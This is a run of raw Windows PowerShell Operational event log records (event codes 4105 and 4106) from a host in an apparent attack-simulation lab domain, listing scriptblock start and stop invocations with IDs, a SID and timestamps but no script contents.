SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051839
Keywords=None
Message=Completed invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051838
Keywords=None
Message=Started invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051837
Keywords=None
Message=Started invocation of ScriptBlock ID: f71d27d1-8798-49e8-81a9-05427c54b066
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051836
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a262dd0-7b86-419b-9717-dfc864e709f6
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051835
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a262dd0-7b86-419b-9717-dfc864e709f6
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051834
Keywords=None
Message=Completed invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051833
Keywords=None
Message=Started invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051832
Keywords=None
Message=Completed invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051831
Keywords=None
Message=Started invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051830
Keywords=None
Message=Completed invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051829
Keywords=None
Message=Started invocation of ScriptBlock ID: 461da9ba-c4e5-48a1-8c99-a1820c81ac6b
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051828
Keywords=None
Message=Completed invocation of ScriptBlock ID: c0c7f9d5-37dd-4cc1-99ea-eb7c19cf64ac
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051827
Keywords=None
Message=Started invocation of ScriptBlock ID: c0c7f9d5-37dd-4cc1-99ea-eb7c19cf64ac
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051826
Keywords=None
Message=Completed invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051825
Keywords=None
Message=Started invocation of ScriptBlock ID: cd3f0947-b1b7-4f96-803c-149e653b387a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051824
Keywords=None
Message=Completed invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051823
Keywords=None
Message=Started invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051822
Keywords=None
Message=Completed invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051821
Keywords=None
Message=Started invocation of ScriptBlock ID: b8fac02d-ae6f-48d1-889a-e88c1cf834e8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051820
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051819
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051818
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051817
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051816
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051815
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051814
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051813
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051812
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051811
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051810
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051809
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051808
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051807
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051806
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051805
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051804
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051803
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051802
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051801
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051800
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051799
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051798
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051797
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051796
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051795
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051794
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051793
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051792
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051791
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051790
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051789
Keywords=None
Message=Started invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051788
Keywords=None
Message=Completed invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2051787
Keywords=None
Message=Started invocation of ScriptBlock ID: 989d9fc1-5150-402d-a249-b8b538ac705a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2051786
Keywords=None
Message=Completed invocation of ScriptBlock ID: aa380ec0-39f4-43d3-84d8-a53c26b4775d
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:03:13 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
